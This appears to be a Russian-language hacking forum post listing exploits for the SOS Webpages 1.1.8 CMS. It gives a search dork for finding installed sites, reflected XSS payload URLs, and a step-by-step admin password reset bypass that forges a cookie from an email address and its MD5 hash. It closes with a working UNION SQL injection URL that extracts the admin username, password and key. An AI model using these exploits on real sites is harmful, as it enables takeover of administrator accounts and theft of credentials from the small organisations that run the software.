![]() |
Уязвимости SOS Webpages
SOS Webpages v1.1.8
http://sourceforge.net/projects/soswebpages/ Easy to learn website management system for novices wanting to manage site content. Simple content management system for non-profit organizations, small businesses, professional offices, small churches. Linux, Apache, PHP, MySQL for CMS. dork "Powered by SOS Webpages" -------------------- pXSS http://localhost/soswp_1.1.8/admin/login.php?error=user&uri=admin_edit_page.php?pages _id=1>"><script>alert(121212);</script> http://localhost/soswp_1.1.8/admin/login.php?sitelink=true&uri=1>"><script>alert(1212 12);</script> -------------------- Сброс пароля администратора примерная схема работы скриптов forgot password 1 запрашивается e-mail администратора 2 проверяется на соответствие тому, что хранится в базе 3 в куки пишется мыло и соленый хеш этого мыла 4 жмем кнопку Send Reset Link 5 в куках проверяется соответствие мыла и хеша 6 генерится новый пароль, пишется в буфер, пароль и линк для активации отсылается на мыло из кук 7 получаем мылом login, password, reset link 8 заходим по линку, пароль из буфера переписывается на место рабочего пароля администратора. Слабое место Пароль отсылается на мыло из кук, обработка разбита на четыре скрипта. Смотрим подробнее: первые два скрипта нам не понадобятся, сами сформируем нужную информацию. admin/admin_password_reset3.php PHP код:
admin/admin_password_reset4.php PHP код:
http://localhost/soswp_1.1.8/admin/admin_password_reset3.php cookies: submitted_email=MyMail@hotmail.com gate=8de3b517babf6ba49104cc89edf057ee где gate= md5 от строки MyMail@hotmail.comSOSWebpages мыло указываем реальное (если нет возможности посмотеть непосредственно $dbprefix ."hw_admin") получаем письмо вида Код:
Your username is : admin-------------------- |
SQL
найдено ElteRUS Видел эту SQL по тексту (рядом аналогичная с event_id) но не нашел вызова. Вызов найден, по умолчанию Photo Gallery не присутствует в главном меню, нужно его добавить и pages_id должен указывать на этот модуль. Подтверждаю SQL_inj работает, теперь можно указывать фиктивное мыло, а информацию получать из http://localhost/SOSWP_1.1.8/index.php?pages_id=6&photo_id=-1+union+select+1,2,3,concat_ws(0x2F,admin_user,adm in_newpassword,admin_key),5,6+from+sos_hw_admin |
| Время: 05:03 |